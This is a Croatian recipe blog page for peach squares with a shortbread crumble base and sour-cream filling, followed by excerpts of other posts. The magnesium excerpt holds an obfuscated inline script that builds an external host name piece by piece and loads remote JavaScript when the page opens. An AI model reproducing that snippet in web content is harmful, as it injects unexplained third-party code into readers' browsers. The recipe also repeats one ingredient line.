KOCKE S BRESKVAMA 🍑




Kocke s breskvama 



Svježe breskve savršena su baza za pripremu ljetnih slastica – jesti ih možete sirove u voćnim salatama, ali i s njima napraviti različite pite, kolače i torte. Danas vam predlažemo da isprobate jednostavne, ali iznimno sočne kocke s breskvama.




Kocke s breskvama 


Sastojci:

Za podlogu:

  • 220 g glatko brašna
  • 180 g hladnog maslaca
  • 150 g bijelog šećera
  • 1 čajna žličica ekstrakta vanilije
  • prstohvat soli

Za nadjev:

  • 100 g bijelog šećera
  • 65 ml kiselog vrhnja
  • 65 ml kiselog vrhnja
  • 3 svježe breskve
  • 1 jaje
  • 1 žlica glatkog brašna
  • ½ čajne žličice mljevenog cimeta



Priprema:

  1. Napravite podlogu za kolač: u velikoj zdjeli pomiješajte brašno, šećer i sol. U zdjelu dodajte i hladni maslac nasjeckan na manje kockice – utrljajte maslac u suhe sastojke da dobijete mrvičastu smjesu. Trećinu smjese ostavite sa strane.
  2. Ostatak smjese ravnomjerno utisnite u kalup za pečenje kolača koji ste prethodno prekrili papirom za pečenje.
  3. Napravite nadjev: mutite jaje, kiselo vrhnje, šećer, brašno i cimet dok ne dobijete glatku smjesu. Nadjev prelijte preko pripremljene podloge. Na nadjev stavite tanke kriške očišćenih bresaka.
  4. Preko breskvi dodajte ostatak mrvičastog tijesta – pospite ga po cijeloj površini kolača. Tako pripremljen kolač stavite u prethodno zagrijanu pećnicu na 190 Celzijevih stupnjeva i pecite ga oko 50 minuta, odnosno dok se ne ispeče do kraja.
  5. Ohladite kolač prije posluživanja. Narežite ga na kocke i servirajte sa sladoledom od vanilije po želji. Dobar tek!



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više